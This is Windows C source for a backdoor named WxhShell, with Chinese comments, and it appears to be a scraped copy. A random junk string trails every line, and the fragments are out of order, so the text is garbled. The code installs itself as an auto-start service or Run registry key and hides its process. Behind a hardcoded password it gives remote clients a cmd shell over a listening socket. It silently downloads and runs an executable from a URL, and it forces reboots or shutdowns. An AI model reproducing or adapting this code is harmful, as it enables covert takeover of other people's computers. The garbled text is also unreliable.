    else { 2N5`'  
    closesocket(wsh); e_.Gw"/Yl  
    ExitThread(0); :^i^0dC  
    } p[9s<lEh  
    break; |mhKIis U  
    } eQUe >*  
  // 获取shell d(-EcY>?  
  case 's': { \OQkZ.cU;  
    CmdShell(wsh); Apj;  
    closesocket(wsh); H4:&%"j7  
    ExitThread(0); s$w;q\1z  
    break; LlHa5]E@6  
  } aJhxc<"e  
  // 退出 7I9aG.;  
  case 'x': { ^{F_ a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aI3CNeav  
    CloseIt(wsh); 8|@9{  
    break; e(?]SU|  
    } =2Cj,[$  
  // 离开 :>+\17tx  
  case 'q': { wi_'iv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SmhGZ  
    closesocket(wsh); I9?Ec6a_  
    WSACleanup(); \]uV!)V5B  
    exit(1); pTJX""C  
    break; MHU74//fe  
        } ;"kaF!  
  } <lE?,jl  
  } XJ1=m   
O hVs#^  
  // 提示信息 CrC =A=e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dY(;]sxFr  
} Qkcjr]#^$  
  } B07v^!Z>  
"ZrOrdlg+A  
  return; r)^vO+3u  
} j8Cho5C  
ICC%,$C~l  
// shell模块句柄 hI},~af  
int CmdShell(SOCKET sock) c!#:E`  
{ 5T@aCC@$h  
STARTUPINFO si; ?QZ"JX])  
ZeroMemory(&si,sizeof(si)); =LkR!R=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Gl&Pa1g?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k D5!}+y  
PROCESS_INFORMATION ProcessInfo; }}&#|)Yq  
char cmdline[]="cmd"; ^uBxgWIC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? *>]")[>  
  return 0; v{aq`uH  
} :Dt~e|  
q%Yn;g|_  
// 自身启动模式 Djq!P  
int StartFromService(void) 3^?ZG^V  
{ 30>3 !Xqa  
typedef struct ,m_WR7!$E  
{ ZfrVjUB  
  DWORD ExitStatus; #]P9b@@e  
  DWORD PebBaseAddress; 83%)/_&  
  DWORD AffinityMask; \xv;sl$f  
  DWORD BasePriority; ,:LA.o}h  
  ULONG UniqueProcessId; U8.7>ENnP&  
  ULONG InheritedFromUniqueProcessId; _>+8og/%@  
}   PROCESS_BASIC_INFORMATION; ]hos+;4p  
i|`dWOVb  
PROCNTQSIP NtQueryInformationProcess; 9h&R]yz;  
aJ Z"D8C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~6YMD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UT0){%2@  
[NMVoBvG  
  HANDLE             hProcess; a.N{-2ptH  
  PROCESS_BASIC_INFORMATION pbi; FMA6_fju4  
7x);x/#8Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kF(n!2"W  
  if(NULL == hInst ) return 0; 7lV.[&aKW  
i4Lc$20?d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #7ohQrP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [e[<p\]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I9h ?;(  
$odso;Hn  
  if (!NtQueryInformationProcess) return 0; LUB${0BrA  
Guz"wY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KlRr8 G!Z  
  if(!hProcess) return 0; 7f rTTSZ  
%\]* OZ7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L:XC  
X+UJzR90  
  CloseHandle(hProcess); "&/-N[is  
c\a_VRN>r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); svxw^ 0~a  
if(hProcess==NULL) return 0; 8NyJc"T<.  
[ ol9|sdu  
HMODULE hMod; > pI;%'  
char procName[255]; hxQqa 0B  
unsigned long cbNeeded; 3k#~yaoI  
]vwW]O7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pj}6 6.  
VD_$$Gn*q  
  CloseHandle(hProcess); Zm6{n '  
,) J~,^f6  
if(strstr(procName,"services")) return 1; // 以服务启动 9IX/wm"  
lXcx@#~  
  return 0; // 注册表启动 3EJt%}V$k  
} :VTTh |E%#  
ULMu19>  
// 主模块 I f\fLhM  
int StartWxhshell(LPSTR lpCmdLine) 6DH~dL_",%  
{ D$t k<{)oB  
  SOCKET wsl; ^#-nE7  
BOOL val=TRUE; DI+fwXeg  
  int port=0; qkiI/nH3  
  struct sockaddr_in door; ep)>X@t  
bv&;R  
  if(wscfg.ws_autoins) Install(); t+9][Adf  
v`M3eh@$A  
port=atoi(lpCmdLine); ")d`dj\o  
d_IAs  
if(port<=0) port=wscfg.ws_port; &mb{.=  
Na:w]r:y  
  WSADATA data; ,7<f9 EVY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "'D=,*  
+HBd %1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8F'x=lIO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '&\kxNglJ  
  door.sin_family = AF_INET; 6Vz9?puD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \[y`'OD~  
  door.sin_port = htons(port); 17`1SGZ  
~]QHk?[wc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /5u<78GW1  
closesocket(wsl); 4O35 "1  
return 1; =3L;Z[^9  
} x QIq^/F0  
@)fd}tV  
  if(listen(wsl,2) == INVALID_SOCKET) { ouuuc9x]  
closesocket(wsl); J:Qa5MTWp  
return 1; ,^C--tgZJg  
} k |eBJ%  
  Wxhshell(wsl); 2AMo:Jqv  
  WSACleanup(); g*_cP U0~m  
VIv&ofyAR  
return 0; <ZNzVnVA  
RS8Hf~0G  
} \SB c;  
b:TLV`>/&  
// 以NT服务方式启动 !qWH`[:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h2XfC. f  
{ 7eAX*Kgt<_  
DWORD   status = 0; ev*k*0  
  DWORD   specificError = 0xfffffff; Ru>MFG  
>Z'NXha  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  |'B7v i)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'h,VR=e<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NA~Vg8  
  serviceStatus.dwWin32ExitCode     = 0; tP$<UKtU  
  serviceStatus.dwServiceSpecificExitCode = 0; R}!:'^  
  serviceStatus.dwCheckPoint       = 0; d'NIV9P`j]  
  serviceStatus.dwWaitHint       = 0; UWd=!h^dt  
,^\2P$rT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jcrw#l8|C  
  if (hServiceStatusHandle==0) return; bcE._9@@  
7t0e r'VC  
status = GetLastError(); 67Th;h*sh  
  if (status!=NO_ERROR) OWg(#pZk  
{ QC}CRkp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E? ; 0)'h  
    serviceStatus.dwCheckPoint       = 0; T7hcnF$  
    serviceStatus.dwWaitHint       = 0; y.< m#Zzt  
    serviceStatus.dwWin32ExitCode     = status; A;]}m8(*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1=d6NX)B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \D*KGd]M0  
    return; 62ws/8d6f  
  } Yp^rR }N  
k@k&}N0{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `T5W}p[6  
  serviceStatus.dwCheckPoint       = 0; ]1#e#M]#  
  serviceStatus.dwWaitHint       = 0; Yfzl%wc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~E2KZm  
} lww!-(<ww  
Ng~FEl  
// 处理NT服务事件,比如:启动、停止 H[U!%Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3cK I  
{ Ws|j#X<  
switch(fdwControl) 2{H@(Vgpbr  
{ Dv5D~on{  
case SERVICE_CONTROL_STOP: #_^Lb]jkM  
  serviceStatus.dwWin32ExitCode = 0; gc-@"wI?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G}b]w~ML ~  
  serviceStatus.dwCheckPoint   = 0; #Y a4ps_  
  serviceStatus.dwWaitHint     = 0; ix)M`F%P3  
  { $QN"w L||  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4NheWM6  
  } UCB/=k^m  
  return; Qp_isU  
case SERVICE_CONTROL_PAUSE: Bg x'9p/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3z{?_;bR  
  break; 1W^t aJH]  
case SERVICE_CONTROL_CONTINUE: Krqtf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .6+Z^,3  
  break; QI'Oz{vE  
case SERVICE_CONTROL_INTERROGATE: "K6&dk jY  
  break; :V RNs  
}; OR~8sU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <lx+/o  
} &8Cu#^3  
s(/; U2"e  
// 标准应用程序主函数 ^/I 7|u]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) < $lCkSx<Q  
{ YNKHN2E8  
chM%]|gey  
// 获取操作系统版本 yerg=,$_i  
OsIsNt=GetOsVer(); a|t$l=|DD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '"0'Oua  
1 ySk;;3  
  // 从命令行安装 'YmIKIw  
  if(strpbrk(lpCmdLine,"iI")) Install(); w0rRSD4S8B  
f e\$@-  
  // 下载执行文件 G\2 CR*  
if(wscfg.ws_downexe) { 4'/nax$Bx;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gY/"cq  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Aw#?#GPW  
} iT3BF"ZqBO  
/R]U}o^/(%  
if(!OsIsNt) { C~,a!qY  
// 如果时win9x,隐藏进程并且设置为注册表启动 ! >(7+B3E*  
HideProc(); GfoLae  
StartWxhshell(lpCmdLine); riY~%9iV'  
} {FeDvhv  
else t5\-v_mG=&  
  if(StartFromService()) Cjm`|~&e+  
  // 以服务方式启动 .o(fe\KHf  
  StartServiceCtrlDispatcher(DispatchTable); &Cr:6W@A  
else _n0CfH.v  
  // 普通方式启动 }~e8e   
  StartWxhshell(lpCmdLine); 2=,lcWr  
5Dm.K?l;  
return 0; >%}C^gu)  
} z+0I#kM"1  
3]}D`Qs6  
4tRYw0f47  
c}lb%^;)E  
=========================================== \)#kquH/l  
1H? u Qy  
Gw/Pk4R  
I0D(F i  
 eI$oLl@  
_mqL8ho  
" 2V mNZ{<  
LO9=xGj.  
#include <stdio.h> cLpYW7vZ[  
#include <string.h> ~7*.6YnI  
#include <windows.h> 6iVxc|Ia  
#include <winsock2.h> !JHL\M>A5  
#include <winsvc.h> Ra)3+M!x  
#include <urlmon.h> Y2N>HK0  
?PuBa`zDE  
#pragma comment (lib, "Ws2_32.lib") '}ptj@,  
#pragma comment (lib, "urlmon.lib") \=VtHu92=  
;w{tv($$  
#define MAX_USER   100 // 最大客户端连接数 T"{>t  
#define BUF_SOCK   200 // sock buffer S'Q@ScJ  
#define KEY_BUFF   255 // 输入 buffer SD"FErJ  
&FMc?wq  
#define REBOOT     0   // 重启 QO<jI#  
#define SHUTDOWN   1   // 关机 ` 06;   
jl4rbzse  
#define DEF_PORT   5000 // 监听端口 K -nF lPm\  
~ (|5/ p7t  
#define REG_LEN     16   // 注册表键长度 d[@X%  
#define SVC_LEN     80   // NT服务名长度 {j.bC@hWw  
Ec3}_`  
// 从dll定义API |7'df&CA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \(?rQg@U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CM/H9Kz.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $O&b``  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9&-dTayIz  
Sq>dt[7  
// wxhshell配置信息 cvn@/qBq*t  
struct WSCFG { "%`1 ]Fr  
  int ws_port;         // 监听端口 dU&a{ $ku[  
  char ws_passstr[REG_LEN]; // 口令 <Th6r.#?  
  int ws_autoins;       // 安装标记, 1=yes 0=no yZ0-wI  
  char ws_regname[REG_LEN]; // 注册表键名 I&D5;8  
  char ws_svcname[REG_LEN]; // 服务名 ,?J!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |^&b8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?&8^&brwG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {fPy=,>Nb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f(>p=%=O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J{.{f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NW~N}5T  
so,t   
}; NO*u9YH?  
@6Y?\Wx$w  
// default Wxhshell configuration v [wb~uw\  
struct WSCFG wscfg={DEF_PORT, :}He\V  
    "xuhuanlingzhe", 9P1OP Xv*p  
    1, +SP{hHa^  
    "Wxhshell", xT3BHnQ(  
    "Wxhshell", 3@etRd;]Kr  
            "WxhShell Service", k|e7a2Wwt  
    "Wrsky Windows CmdShell Service", rN<0 R`4sE  
    "Please Input Your Password: ", t|w_i-&b,  
  1, [T8WThs  
  "http://www.wrsky.com/wxhshell.exe", r<9Iof4  
  "Wxhshell.exe" C8J[Up  
    }; @:oXN]+ _  
}s7$7  
// 消息定义模块 %R}qg6dL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B{QBzx1L9c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %^?fMeI|Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /K+r? ]kf  
char *msg_ws_ext="\n\rExit."; E(*0jAvO[z  
char *msg_ws_end="\n\rQuit."; &y\prip  
char *msg_ws_boot="\n\rReboot..."; U\g/2dM  
char *msg_ws_poff="\n\rShutdown..."; y*4=c _Z  
char *msg_ws_down="\n\rSave to "; ew>XrT=Zm  
8o3E0k1  
char *msg_ws_err="\n\rErr!"; 3U<cWl@  
char *msg_ws_ok="\n\rOK!"; 2":pE U{E  
aZH:#lUlj  
char ExeFile[MAX_PATH]; eQ$Y0qH1E  
int nUser = 0; TJ2=m 9Z  
HANDLE handles[MAX_USER]; Lm iOhx  
int OsIsNt; x) ,eI'mf  
Xc =Y  
SERVICE_STATUS       serviceStatus; AiwOc+R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .eS<Dbku<  
9e<.lb^tP  
// 函数声明 g?c xp +  
int Install(void); d?y4GkK  
int Uninstall(void); @D]5civm_  
int DownloadFile(char *sURL, SOCKET wsh); "H=6j)Cb  
int Boot(int flag); &xU[E!2H%  
void HideProc(void); e2AX0(  
int GetOsVer(void); S-a]j;U  
int Wxhshell(SOCKET wsl); ?fQ'^agq  
void TalkWithClient(void *cs); 2bv=N4ly  
int CmdShell(SOCKET sock); S4Pxc ]!  
int StartFromService(void); nXaC 3W:"  
int StartWxhshell(LPSTR lpCmdLine); 4n#M  
G'nmllB`]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l3{-z4mw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )\1@V+!E%  
dph{74Dc  
// 数据结构和表定义 r7RIRg_  
SERVICE_TABLE_ENTRY DispatchTable[] = 8^kGS-+^  
{ /,BD#|  
{wscfg.ws_svcname, NTServiceMain}, ]P9l jwR  
{NULL, NULL} AgWa{.`f:  
}; 1NbG>E#Ol  
M=8.Bp|Ye  
// 自我安装 5 )A1\  
int Install(void) %@<8<6&q  
{ jSJqE _1  
  char svExeFile[MAX_PATH]; `jDTzhO~  
  HKEY key; zKyyU}LHH  
  strcpy(svExeFile,ExeFile); ]RwpX ^ 1  
P:hBt\5B  
// 如果是win9x系统,修改注册表设为自启动 -{KQr1{5UM  
if(!OsIsNt) { /?wtF4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1m'k|Ka  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GiJ *Wp  
  RegCloseKey(key); +UCG0D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jkQ*D(;p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v>6"j1Z  
  RegCloseKey(key); jqz ux[6{  
  return 0; 5A,K6f@:g  
    } `A,-@`p  
  } ,A9]CQ  
} rbul8(1h  
else { :>rkG?NfL  
<S5BDk  
// 如果是NT以上系统,安装为系统服务 \/93Dz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ww)<E`eGi  
if (schSCManager!=0) Lt2u,9  
{ "0$a)4]  
  SC_HANDLE schService = CreateService xn?a. 3b'  
  ( ?'IP4z;y  
  schSCManager, Av$]|b  
  wscfg.ws_svcname, [ieI;OG;  
  wscfg.ws_svcdisp, zp6C3RG(  
  SERVICE_ALL_ACCESS, |e=,oV"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ay4 %  
  SERVICE_AUTO_START, \Yy$MLs  
  SERVICE_ERROR_NORMAL, ['b}QW@Fx  
  svExeFile, -Sq z5lo  
  NULL, Ah1]Y}sy  
  NULL, M "ui0 ac  
  NULL,  hz{`h  
  NULL, C2.HMgL  
  NULL .7O*pJ2(H  
  ); 0q^>ZF-@  
  if (schService!=0) x!hh"x  
  { # '=a=8-$  
  CloseServiceHandle(schService); jY  &k  
  CloseServiceHandle(schSCManager); uY0lR:|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T!uM+6|Y  
  strcat(svExeFile,wscfg.ws_svcname); Lk|hQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !zBhbmlKt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \h+AXs<j  
  RegCloseKey(key); JX<)EZ!F  
  return 0; &g#@3e1>  
    } y$;/Vm_'  
  } []D&bYpv  
  CloseServiceHandle(schSCManager); t1]K<>g  
} md+nj{Ib  
} 9/9j+5}+  
'_<{ p3M  
return 1; sXqz+z$*  
} YP 6` L  
-<6\1J  
// 自我卸载 } j<)L,  
int Uninstall(void) __uA}f Zp  
{ j*d yp  
  HKEY key; :{{F *FM;  
97Lte5c6r  
if(!OsIsNt) { rr/B= O7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^0Zf,40  
  RegDeleteValue(key,wscfg.ws_regname); N1}c9}  
  RegCloseKey(key); MlcR"gl*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {vs uPY  
  RegDeleteValue(key,wscfg.ws_regname); O3;u G.:1  
  RegCloseKey(key); ky8_UnaO  
  return 0; *F WMn.  
  } +2(I1  
} iyN:%ofh  
} 'Jiw@t<o3`  
else { ~Cbc<[}  
AJt+p&I[J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `K*Q5n  
if (schSCManager!=0) Qd)q([  
{ uOKCAqYa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zy?.u.4L  
  if (schService!=0) JELT ou  
  { \$R_YKGf1G  
  if(DeleteService(schService)!=0) { {]*c29b>  
  CloseServiceHandle(schService); o\BOL3H  
  CloseServiceHandle(schSCManager); LI'6R=  
  return 0; :v0U|\j8/V  
  } ]E7F /O/.  
  CloseServiceHandle(schService); 3^IpE];+:u  
  } Gq+z/Be  
  CloseServiceHandle(schSCManager); f W!a|?e$  
} ksc;X$f&4  
} &\#sI9  
1 Rq,a  
return 1; ^/)^7\@  
} d^@dzNv  
I?]ohG K  
// 从指定url下载文件 @#<D ^"  
int DownloadFile(char *sURL, SOCKET wsh) ()2I#  
{ |rY1US)S  
  HRESULT hr; :D euX  
char seps[]= "/"; gK_Ymq5>"M  
char *token; ,%6P0#-  
char *file; C7XxFh  
char myURL[MAX_PATH]; EH$1fvE  
char myFILE[MAX_PATH]; tW.9yII  
26e]`]!SU  
strcpy(myURL,sURL); i=ea ?eT`  
  token=strtok(myURL,seps); H=@}=aPf  
  while(token!=NULL) [I0:=yJ+  
  { dFRsm0T  
    file=token; 6RG)` bu  
  token=strtok(NULL,seps); iyA'#bE-  
  } VQ"hUX8  
:=}BN  
GetCurrentDirectory(MAX_PATH,myFILE); "C }b%aO:  
strcat(myFILE, "\\"); v;BV@E0}x  
strcat(myFILE, file); Ld\R:{M"  
  send(wsh,myFILE,strlen(myFILE),0); aL*&r~`&e'  
send(wsh,"...",3,0); B%" d~5Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bG7O  
  if(hr==S_OK) cq5jPZ}  
return 0; 1G"z<v B  
else \@WDV  
return 1; l2`s! ,<>O  
"K  ~  
} k;2GEa]w  
wZG\>9~  
// 系统电源模块 FI[A[*fi  
int Boot(int flag) 3Q"<<pi!~  
{ lun#^J  
  HANDLE hToken; 1uG"f<TsR  
  TOKEN_PRIVILEGES tkp; +GG9^:<yr  
;>#wU'  
  if(OsIsNt) { < nXL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ht7l- AK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1Y/s%L  
    tkp.PrivilegeCount = 1; +vvv[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;QWIsVz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V\t.3vT  
if(flag==REBOOT) { BD68$y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4 kn|^  
  return 0; (gEBOol  
} N< |@ymi  
else { kEJj=wx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mxe}B'  
  return 0; 5G::wuxk  
} S-P/+K6  
  } YT8vP~  
  else { 5}:-h>  
if(flag==REBOOT) { ?u-|>N>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fo5iJz"Z  
  return 0; hq%?=2'9?  
} o%v0h~tn  
else { >,TUZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V:qSy#e  
  return 0; ,3?Q(=j  
} S\4tzz @  
} B&\IGWG(  
Z LB4m`  
return 1; OPwtV9%  
} Z?}dq-Vh&  
'w!Cn>  
// win9x进程隐藏模块 8?J&`e/  
void HideProc(void) ZU85P0  
{ 7"aN#;&  
4\y/'`xm)6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2w59^"<,  
  if ( hKernel != NULL ) mlixIW2  
  { ?a8^1:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }0eF~>Df  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y6LWx:  
    FreeLibrary(hKernel); lH-/L(h2  
  } Z9:-rcr  
?$vCW|f  
return; [ OM7g'?S0  
} rv &<{@AS~  
_hN\10ydY  
// 获取操作系统版本 G.rrv  
int GetOsVer(void) XR+Y=R  
{ Kw -gojZ  
  OSVERSIONINFO winfo; $@"l#vJPfc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y -pzy']4  
  GetVersionEx(&winfo); .JYaH?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }B8IBveu  
  return 1; kB3H="3[[  
  else Rd2qe /  
  return 0; #,,d>e  
} L_vISy%\b  
U[SaY0Z  
// 客户端句柄模块 I`p+Qt  
int Wxhshell(SOCKET wsl) C3eR)Yh  
{ Inn@2$m~  
  SOCKET wsh; T@G?t0  
  struct sockaddr_in client; m=?KZ?U`  
  DWORD myID; (0j}-iaQEZ  
j:5=s%S  
  while(nUser<MAX_USER) }3o|EXx=  
{ W"zab  
  int nSize=sizeof(client); Id'X*U7Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PfreAEv,  
  if(wsh==INVALID_SOCKET) return 1; 5i> $]*o  
b@rVo;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9  TvV=  
if(handles[nUser]==0) -}=i 04^  
  closesocket(wsh); Rec6c&5_  
else }v Z+A  
  nUser++; 1KMLG=  
  } H GXt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K&nE_.kbl  
'>&^zgr  
  return 0; } ~h3c|  
} M*z~gOZ  
U@gn;@\  
// 关闭 socket d\p,2  
void CloseIt(SOCKET wsh) ;gBRCZ  
{ 0*rQ3Z  
closesocket(wsh); N03HQp)g  
nUser--; fF?z|  
ExitThread(0); Zw*v  
} )^ m%i]L _  
AB F"~=aL  
// 客户端请求句柄 ko Z  
void TalkWithClient(void *cs) ,RJtm%w  
{ /a^1_q-bX  
fBalTk;G{U  
  SOCKET wsh=(SOCKET)cs; z8QAo\_I(  
  char pwd[SVC_LEN]; :|_'fNd+!  
  char cmd[KEY_BUFF]; &=#[(vl  
char chr[1]; >_o}  
int i,j; &QDW9 Mi  
U'8bdsF_  
  while (nUser < MAX_USER) {  /<HRwG\w  
|UK}  
if(wscfg.ws_passstr) { K<pV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hCCiD9gz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2(,K[?  
  //ZeroMemory(pwd,KEY_BUFF); JQV%fTHS  
      i=0; My<snmr2d  
  while(i<SVC_LEN) { yHs- h   
dQ_!)f&w1  
  // 设置超时 O$IEn/%+  
  fd_set FdRead; F{EnOr`,m=  
  struct timeval TimeOut;  TR<<+  
  FD_ZERO(&FdRead); k%D+Y(WGz8  
  FD_SET(wsh,&FdRead); R($KSui  
  TimeOut.tv_sec=8; jqv-D  
  TimeOut.tv_usec=0; dik:4;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4"{ooy^Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2ggdWg7z  
^~G8?]w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^SxY IFL  
  pwd=chr[0]; MP_'D+LS  
  if(chr[0]==0xd || chr[0]==0xa) { K@#(*."  
  pwd=0; )Z(TCJ~~!  
  break; v'VD0+3[H  
  } &z>e5_.  
  i++; V>ieh2G(  
    } ANJ$'3tg  
'<rZm=48  
  // 如果是非法用户,关闭 socket zRq-b`<7V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 30XR 82P/  
} T'4z=Z]w  
*8#i$w11M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %1O;fQL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p$h4u_  
c}y [[EX  
while(1) { !X"K=zt"  
<(-3_s6-  
  ZeroMemory(cmd,KEY_BUFF); $4tWI O  
!|O~$2O@  
      // 自动支持客户端 telnet标准   U7oo$gW%|T  
  j=0; "Jt.lL ]5  
  while(j<KEY_BUFF) { r.#t63Rb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f2^r[kPX"  
  cmd[j]=chr[0]; :|Ad:fEs  
  if(chr[0]==0xa || chr[0]==0xd) { e '2F#  
  cmd[j]=0; v=_6XF  
  break; Ytz)d/3T  
  } bty/  
  j++; #bl6sa{E  
    } #;%JT   
kMtwiB|7j  
  // 下载文件 x9;gT&@H  
  if(strstr(cmd,"http://")) { J]&y$?C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4F{)i  
  if(DownloadFile(cmd,wsh)) fcNL$U&-,i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `FYv3w2  
  else XVKfl3'%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %,D<O,N  
  } |g #K]v  
  else { ^go7_y  
:E>HE,1b+  
    switch(cmd[0]) { 5e$~)fL  
  F8;dKyT?q  
  // 帮助 dl ~%MWAVb  
  case '?': { ?gJy3@D  
